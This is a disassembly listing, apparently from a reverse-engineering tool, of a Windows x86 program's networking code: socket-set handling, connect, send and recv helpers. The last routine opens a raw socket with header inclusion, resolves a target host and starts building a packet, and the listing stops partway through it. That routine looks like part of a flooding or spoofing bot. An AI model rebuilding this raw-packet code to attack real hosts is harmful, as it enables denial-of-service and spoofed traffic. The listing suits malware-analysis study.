mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
mov eax, [eax+4]
cmp eax, [ecx]
jnz short loc_404D6A
push [ebp+arg_0]
call sub_4053B1
pop ecx
xor eax, eax
jmp short loc_404D99
; ---------------------------------------------------------------------------
loc_404D6A: ; CODE XREF: sub_404D4D+Ej
mov eax, [ebp+arg_4]
mov eax, [eax+4]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [ecx+eax*4+0Ch], edx
mov eax, [ebp+arg_4]
mov eax, [eax+4]
inc eax
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
mov eax, [eax+4]
xor edx, edx
cmp eax, [ecx]
setnz dl
mov eax, edx
loc_404D99: ; CODE XREF: sub_404D4D+1Bj
pop ebp
retn
sub_404D4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D9B proc near ; CODE XREF: sub_41349C+512p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404DAC
; ---------------------------------------------------------------------------
loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404DAC: ; CODE XREF: sub_404D9B+8j
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short locret_404E1A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4+0Ch]
cmp eax, [ebp+arg_0]
jnz short loc_404E18
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
cmp ecx, [eax+8]
jb short loc_404DDE
mov eax, [ebp+arg_4]
mov eax, [eax+8]
dec eax
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
loc_404DDE: ; CODE XREF: sub_404D9B+34j
mov eax, [ebp+arg_4]
mov eax, [eax+4]
sub eax, [ebp+var_4]
shl eax, 2
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*4+10h]
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*4+0Ch]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_4]
mov eax, [eax+4]
dec eax
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
jmp short locret_404E1A
; ---------------------------------------------------------------------------
loc_404E18: ; CODE XREF: sub_404D9B+29j
jmp short loc_404DA5
; ---------------------------------------------------------------------------
locret_404E1A: ; CODE XREF: sub_404D9B+1Aj
; sub_404D9B+7Bj
leave
retn
sub_404D9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp
; sub_4143B0+14Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_0]
and dword ptr [eax+8], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+80Ch], 0
and [ebp+var_8], 0
jmp short loc_404E41
; ---------------------------------------------------------------------------
loc_404E3A: ; CODE XREF: sub_404E1C+BDj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_404E41: ; CODE XREF: sub_404E1C+1Cj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+4]
jnb loc_404EDE
loc_404E50: ; CODE XREF: sub_404E1C+B7j
and [ebp+var_14], 0
jmp short loc_404E5D
; ---------------------------------------------------------------------------
loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_404E5D: ; CODE XREF: sub_404E1C+38j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
cmp ecx, [eax+80Ch]
jnb short loc_404E88
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+810h]
cmp eax, [esi+edx*4+0Ch]
jnz short loc_404E86
jmp short loc_404E88
; ---------------------------------------------------------------------------
loc_404E86: ; CODE XREF: sub_404E1C+66j
jmp short loc_404E56
; ---------------------------------------------------------------------------
loc_404E88: ; CODE XREF: sub_404E1C+4Dj
; sub_404E1C+68j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
cmp ecx, [eax+80Ch]
jnz short loc_404ECF
mov eax, [ebp+arg_0]
cmp dword ptr [eax+80Ch], 200h
jnb short loc_404ECF
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+0Ch]
mov [ecx+eax*4+810h], edx
mov eax, [ebp+arg_0]
mov eax, [eax+80Ch]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+80Ch], eax
loc_404ECF: ; CODE XREF: sub_404E1C+78j
; sub_404E1C+87j
xor eax, eax
test eax, eax
jnz loc_404E50
jmp loc_404E3A
; ---------------------------------------------------------------------------
loc_404EDE: ; CODE XREF: sub_404E1C+2Ej
and [ebp+var_10], 0
mov [ebp+var_C], 3E8h
lea eax, [ebp+var_10]
push eax
push 0
mov eax, [ebp+arg_0]
add eax, 80Ch
push eax
push 0
push 0
call ds:dword_41722C ; select
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_404F1A
cmp [ebp+var_4], 0FFFFFFFFh
jz short loc_404F1A
mov [ebp+var_18], 1
jmp short loc_404F1E
; ---------------------------------------------------------------------------
loc_404F1A: ; CODE XREF: sub_404E1C+EDj
; sub_404E1C+F3j
and [ebp+var_18], 0
loc_404F1E: ; CODE XREF: sub_404E1C+FCj
mov eax, [ebp+var_18]
pop esi
leave
retn
sub_404E1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F24 proc near ; CODE XREF: sub_41349C+470p
; sub_4143B0+16Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_404F3A
; ---------------------------------------------------------------------------
loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404F3A: ; CODE XREF: sub_404F24+Dj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short loc_404F79
mov eax, [ebp+arg_0]
add eax, 80Ch
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+0Ch]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz short loc_404F77
mov eax, [ebp+var_4]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4+0Ch]
jmp short locret_404F7B
; ---------------------------------------------------------------------------
loc_404F77: ; CODE XREF: sub_404F24+3Bj
jmp short loc_404F33
; ---------------------------------------------------------------------------
loc_404F79: ; CODE XREF: sub_404F24+1Fj
xor eax, eax
locret_404F7B: ; CODE XREF: sub_404F24+51j
leave
retn
sub_404F24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F7D proc near ; CODE XREF: sub_404FD0+6p
; sub_41349C+59Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404F8E
; ---------------------------------------------------------------------------
loc_404F87: ; CODE XREF: sub_404F7D+37j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404F8E: ; CODE XREF: sub_404F7D+8j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short loc_404FB6
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+0Ch]
call sub_4053B1
pop ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and dword ptr [ecx+eax*4+0Ch], 0
jmp short loc_404F87
; ---------------------------------------------------------------------------
loc_404FB6: ; CODE XREF: sub_404F7D+1Aj
mov eax, [ebp+arg_0]
and dword ptr [eax+4], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+8], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+80Ch], 0
leave
retn
sub_404F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp
; sub_4143B0+238p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_404F7D
pop ecx
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
pop ebp
retn
sub_404FD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p
; sub_41349C+40Ep ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push 20h
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_8]
and eax, 2
test eax, eax
jz short loc_405010
mov [ebp+var_20], 17h
jmp short loc_405027
; ---------------------------------------------------------------------------
loc_405010: ; CODE XREF: sub_404FE7+1Ej
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_405023
mov [ebp+var_20], 2
jmp short loc_405027
; ---------------------------------------------------------------------------
loc_405023: ; CODE XREF: sub_404FE7+31j
and [ebp+var_20], 0
loc_405027: ; CODE XREF: sub_404FE7+27j
; sub_404FE7+3Aj
mov eax, [ebp+arg_8]
and eax, 4
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov [ebp+var_1C], ecx
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_405057
xor eax, eax
jmp locret_4050E8
; ---------------------------------------------------------------------------
loc_405057: ; CODE XREF: sub_404FE7+67j
mov eax, [ebp+var_28]
mov [ebp+var_4], eax
jmp short loc_405068
; ---------------------------------------------------------------------------
loc_40505F: ; CODE XREF: sub_404FE7+A8j
; sub_404FE7+F4j
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_405068: ; CODE XREF: sub_404FE7+76j
cmp [ebp+var_4], 0
jz short loc_4050DD
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0FFFFFFFFh
jnz short loc_405091
jmp short loc_40505F
; ---------------------------------------------------------------------------
loc_405091: ; CODE XREF: sub_404FE7+A6j
push 0
push [ebp+var_2C]
call sub_404457
pop ecx
pop ecx
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_2C]
call ds:dword_4171F4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4050D2
call ds:dword_417224 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_4050D2
push [ebp+var_28]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_2C]
jmp short locret_4050E8
; ---------------------------------------------------------------------------
loc_4050D2: ; CODE XREF: sub_404FE7+CEj
; sub_404FE7+DBj
push [ebp+var_2C]
call sub_4053B1
pop ecx
jmp short loc_40505F
; ---------------------------------------------------------------------------
loc_4050DD: ; CODE XREF: sub_404FE7+85j
push [ebp+var_28]
call dword_41DE8C ; freeaddrinfo
xor eax, eax
locret_4050E8: ; CODE XREF: sub_404FE7+6Bj
; sub_404FE7+E9j
leave
retn
sub_404FE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4050EA proc near ; CODE XREF: sub_401E38+80p
; sub_402698+16p ...
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 844h
mov eax, [ebp+arg_C]
cdq
mov ecx, 3E8h
idiv ecx
mov [ebp+var_834], eax
mov eax, [ebp+arg_C]
cdq
mov ecx, 3E8h
idiv ecx
imul edx, 3E8h
mov [ebp+var_830], edx
push 20h
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_8]
and eax, 2
test eax, eax
jz short loc_40513E
mov [ebp+var_20], 17h
jmp short loc_405155
; ---------------------------------------------------------------------------
loc_40513E: ; CODE XREF: sub_4050EA+49j
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_405151
mov [ebp+var_20], 2
jmp short loc_405155
; ---------------------------------------------------------------------------
loc_405151: ; CODE XREF: sub_4050EA+5Cj
and [ebp+var_20], 0
loc_405155: ; CODE XREF: sub_4050EA+52j
; sub_4050EA+65j
mov eax, [ebp+arg_8]
and eax, 4
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov [ebp+var_1C], ecx
lea eax, [ebp+var_82C]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_405188
xor eax, eax
jmp locret_40538B
; ---------------------------------------------------------------------------
loc_405188: ; CODE XREF: sub_4050EA+95j
mov eax, [ebp+var_82C]
mov [ebp+var_4], eax
jmp short loc_40519C
; ---------------------------------------------------------------------------
loc_405193: ; CODE XREF: sub_4050EA+E3j
; sub_4050EA+128j ...
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_40519C: ; CODE XREF: sub_4050EA+A7j
cmp [ebp+var_4], 0
jz loc_40537D
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_83C], eax
cmp [ebp+var_83C], 0FFFFFFFFh
jnz short loc_4051CF
jmp short loc_405193
; ---------------------------------------------------------------------------
loc_4051CF: ; CODE XREF: sub_4050EA+E1j
push 0
push [ebp+var_83C]
call sub_404457
pop ecx
pop ecx
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_83C]
call ds:dword_4171F4 ; connect
mov [ebp+var_838], eax
cmp [ebp+var_838], 0
jz short loc_405217
call ds:dword_417224 ; WSAGetLastError
cmp eax, 2733h
jz short loc_405217
jmp loc_405193
; ---------------------------------------------------------------------------
loc_405217: ; CODE XREF: sub_4050EA+119j
; sub_4050EA+126j
and [ebp+var_828], 0
loc_40521E: ; CODE XREF: sub_4050EA+1AFj
and [ebp+var_840], 0
jmp short loc_405234
; ---------------------------------------------------------------------------
loc_405227: ; CODE XREF: sub_4050EA:loc_405259j
mov eax, [ebp+var_840]
inc eax
mov [ebp+var_840], eax
loc_405234: ; CODE XREF: sub_4050EA+13Bj
mov eax, [ebp+var_840]
cmp eax, [ebp+var_828]
jnb short loc_40525B
mov eax, [ebp+var_840]
mov eax, [ebp+eax*4+var_824]
cmp eax, [ebp+var_83C]
jnz short loc_405259
jmp short loc_40525B
; ---------------------------------------------------------------------------
loc_405259: ; CODE XREF: sub_4050EA+16Bj
jmp short loc_405227
; ---------------------------------------------------------------------------
loc_40525B: ; CODE XREF: sub_4050EA+156j
; sub_4050EA+16Dj
mov eax, [ebp+var_840]
cmp eax, [ebp+var_828]
jnz short loc_405295
cmp [ebp+var_828], 200h
jnb short loc_405295
mov eax, [ebp+var_840]
mov ecx, [ebp+var_83C]
mov [ebp+eax*4+var_824], ecx
mov eax, [ebp+var_828]
inc eax
mov [ebp+var_828], eax
loc_405295: ; CODE XREF: sub_4050EA+17Dj
; sub_4050EA+189j
xor eax, eax
test eax, eax
jnz short loc_40521E
lea eax, [ebp+var_834]
push eax
push 0
lea eax, [ebp+var_828]
push eax
push 0
push 0
call ds:dword_41722C ; select
cmp eax, 1
jnz short loc_4052E0
push 1
push [ebp+var_83C]
call sub_404457
pop ecx
pop ecx
push [ebp+var_82C]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_83C]
jmp locret_40538B
; ---------------------------------------------------------------------------
loc_4052E0: ; CODE XREF: sub_4050EA+1CEj
; sub_4050EA+27Cj
and [ebp+var_844], 0
jmp short loc_4052F6
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j
mov eax, [ebp+var_844]
inc eax
mov [ebp+var_844], eax
loc_4052F6: ; CODE XREF: sub_4050EA+1FDj
mov eax, [ebp+var_844]
cmp eax, [ebp+var_828]
jnb short loc_405362
mov eax, [ebp+var_844]
mov eax, [ebp+eax*4+var_824]
cmp eax, [ebp+var_83C]
jnz short loc_405360
loc_405319: ; CODE XREF: sub_4050EA+265j
mov eax, [ebp+var_828]
dec eax
cmp [ebp+var_844], eax
jnb short loc_405351
mov eax, [ebp+var_844]
mov ecx, [ebp+var_844]
mov ecx, [ebp+ecx*4+var_820]
mov [ebp+eax*4+var_824], ecx
mov eax, [ebp+var_844]
inc eax
mov [ebp+var_844], eax
jmp short loc_405319
; ---------------------------------------------------------------------------
loc_405351: ; CODE XREF: sub_4050EA+23Cj
mov eax, [ebp+var_828]
dec eax
mov [ebp+var_828], eax
jmp short loc_405362
; ---------------------------------------------------------------------------
loc_405360: ; CODE XREF: sub_4050EA+22Dj
jmp short loc_4052E9
; ---------------------------------------------------------------------------
loc_405362: ; CODE XREF: sub_4050EA+218j
; sub_4050EA+274j
xor eax, eax
test eax, eax
jnz loc_4052E0
push [ebp+var_83C]
call sub_4053B1
pop ecx
jmp loc_405193
; ---------------------------------------------------------------------------
loc_40537D: ; CODE XREF: sub_4050EA+B6j
push [ebp+var_82C]
call dword_41DE8C ; freeaddrinfo
xor eax, eax
locret_40538B: ; CODE XREF: sub_4050EA+99j
; sub_4050EA+1F1j
leave
retn
sub_4050EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40538D proc near ; CODE XREF: sub_401E38+26Ep
; sub_4020C2+3FBp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
push [ebp+arg_0]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+arg_0]
call sub_4053B1
pop ecx
pop ebp
retn
sub_40538D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053B1 proc near ; CODE XREF: sub_404279+77p
; sub_40432E+1Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_417230 ; closesocket
pop ebp
retn
sub_4053B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp
; sub_4020C2+2F9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_41720C ; send
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_4053BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p
; sub_405443+21p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 2
jnb short loc_4053F6
push 271Eh
call ds:dword_417234 ; WSASetLastError
or eax, 0FFFFFFFFh
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_4053F6: ; CODE XREF: sub_4053DC+8j
push 0
mov eax, [ebp+arg_8]
dec eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_405418
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_40541D
loc_405418: ; CODE XREF: sub_4053DC+34j
mov eax, [ebp+var_4]
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_40541D: ; CODE XREF: sub_4053DC+3Aj
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jb short loc_405435
push 271Eh
call ds:dword_417234 ; WSASetLastError
or eax, 0FFFFFFFFh
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_405435: ; CODE XREF: sub_4053DC+47j
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
locret_405441: ; CODE XREF: sub_4053DC+18j
; sub_4053DC+3Fj ...
leave
retn
sub_4053DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405443 proc near ; CODE XREF: sub_402698+8Dp
; sub_402698+2BEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_40545B
xor eax, eax
jmp short loc_40546C
; ---------------------------------------------------------------------------
loc_40545B: ; CODE XREF: sub_405443+12j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4053DC
add esp, 0Ch
loc_40546C: ; CODE XREF: sub_405443+16j
pop ebp
retn
sub_405443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40546E proc near ; CODE XREF: sub_405443+9p
; sub_410649+2Dp ...
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1018h
call sub_416BC0
and [ebp+var_804], 0
and [ebp+var_1008], 0
loc_405489: ; CODE XREF: sub_40546E+90j
and [ebp+var_1014], 0
jmp short loc_40549F
; ---------------------------------------------------------------------------
loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j
mov eax, [ebp+var_1014]
inc eax
mov [ebp+var_1014], eax
loc_40549F: ; CODE XREF: sub_40546E+22j
mov eax, [ebp+var_1014]
cmp eax, [ebp+var_804]
jnb short loc_4054C3
mov eax, [ebp+var_1014]
mov eax, [ebp+eax*4+var_800]
cmp eax, [ebp+arg_0]
jnz short loc_4054C1
jmp short loc_4054C3
; ---------------------------------------------------------------------------
loc_4054C1: ; CODE XREF: sub_40546E+4Fj
jmp short loc_405492
; ---------------------------------------------------------------------------
loc_4054C3: ; CODE XREF: sub_40546E+3Dj
; sub_40546E+51j
mov eax, [ebp+var_1014]
cmp eax, [ebp+var_804]
jnz short loc_4054FA
cmp [ebp+var_804], 200h
jnb short loc_4054FA
mov eax, [ebp+var_1014]
mov ecx, [ebp+arg_0]
mov [ebp+eax*4+var_800], ecx
mov eax, [ebp+var_804]
inc eax
mov [ebp+var_804], eax
loc_4054FA: ; CODE XREF: sub_40546E+61j
; sub_40546E+6Dj
xor eax, eax
test eax, eax
jnz short loc_405489
loc_405500: ; CODE XREF: sub_40546E+107j
and [ebp+var_1018], 0
jmp short loc_405516
; ---------------------------------------------------------------------------
loc_405509: ; CODE XREF: sub_40546E:loc_405538j
mov eax, [ebp+var_1018]
inc eax
mov [ebp+var_1018], eax
loc_405516: ; CODE XREF: sub_40546E+99j
mov eax, [ebp+var_1018]
cmp eax, [ebp+var_1008]
jnb short loc_40553A
mov eax, [ebp+var_1018]
mov eax, [ebp+eax*4+var_1004]
cmp eax, [ebp+arg_0]
jnz short loc_405538
jmp short loc_40553A
; ---------------------------------------------------------------------------
loc_405538: ; CODE XREF: sub_40546E+C6j
jmp short loc_405509
; ---------------------------------------------------------------------------
loc_40553A: ; CODE XREF: sub_40546E+B4j
; sub_40546E+C8j
mov eax, [ebp+var_1018]
cmp eax, [ebp+var_1008]
jnz short loc_405571
cmp [ebp+var_1008], 200h
jnb short loc_405571
mov eax, [ebp+var_1018]
mov ecx, [ebp+arg_0]
mov [ebp+eax*4+var_1004], ecx
mov eax, [ebp+var_1008]
inc eax
mov [ebp+var_1008], eax
loc_405571: ; CODE XREF: sub_40546E+D8j
; sub_40546E+E4j
xor eax, eax
test eax, eax
jnz short loc_405500
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_1010], eax
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
imul edx, 3E8h
mov [ebp+var_100C], edx
lea eax, [ebp+var_1010]
push eax
lea eax, [ebp+var_1008]
push eax
push 0
lea eax, [ebp+var_804]
push eax
push 1
call ds:dword_41722C ; select
cmp eax, 1
jz short loc_4055C9
xor eax, eax
jmp short locret_4055E3
; ---------------------------------------------------------------------------
loc_4055C9: ; CODE XREF: sub_40546E+155j
lea eax, [ebp+var_804]
push eax
push [ebp+arg_0]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz short loc_4055E1
push 1
pop eax
jmp short locret_4055E3
; ---------------------------------------------------------------------------
loc_4055E1: ; CODE XREF: sub_40546E+16Cj
xor eax, eax
locret_4055E3: ; CODE XREF: sub_40546E+159j
; sub_40546E+171j
leave
retn
sub_40546E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055E5 proc near ; DATA XREF: sub_405E45+113o
var_1358 = dword ptr -1358h
var_1354 = dword ptr -1354h
var_1350 = dword ptr -1350h
var_134C = dword ptr -134Ch
var_1348 = dword ptr -1348h
var_1344 = dword ptr -1344h
var_1340 = dword ptr -1340h
var_133C = dword ptr -133Ch
var_1338 = dword ptr -1338h
var_1334 = dword ptr -1334h
var_118D = byte ptr -118Dh
var_108D = byte ptr -108Dh
var_1087 = dword ptr -1087h
var_1083 = dword ptr -1083h
var_107F = dword ptr -107Fh
var_1078 = dword ptr -1078h
var_1074 = byte ptr -1074h
var_1058 = byte ptr -1058h
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1358h
call sub_416BC0
push 2B9h
push [ebp+arg_0]
lea eax, [ebp+var_1334]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 0FFh
push 3
push 2
call ds:dword_417218 ; socket
mov [ebp+var_1078], eax
cmp [ebp+var_1078], 0FFFFFFFFh
jnz short loc_405643
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405643: ; CODE XREF: sub_4055E5+49j
mov [ebp+var_1340], 1
push 4
lea eax, [ebp+var_1340]
push eax
push 2
push 0
push [ebp+var_1078]
call ds:dword_417204 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_40567E
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_40567E: ; CODE XREF: sub_4055E5+84j
push 0
push [ebp+var_1078]
call sub_404457
pop ecx
pop ecx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_10], 2
lea eax, [ebp+var_108D]
push eax
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_118D]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_405710
lea eax, [ebp+var_118D]
push eax
call ds:dword_41723C ; gethostbyname
mov [ebp+var_1344], eax
cmp [ebp+var_1344], 0
jnz short loc_405700
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405700: ; CODE XREF: sub_4055E5+106j
mov eax, [ebp+var_1344]
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
loc_405710: ; CODE XREF: sub_4055E5+EAj
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_405729
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405729: ; CODE XREF: sub_4055E5+12Fj
push 1060h
push 0
lea eax, [ebp+var_1074]
push eax
call sub_416B6A ; memset
add esp, 0Ch
lea eax, [ebp+var_1074]
mov [ebp+var_133C], eax
lea eax, [ebp+var_1058]
mov [ebp+var_14], eax
mov eax, [ebp+var_133C]
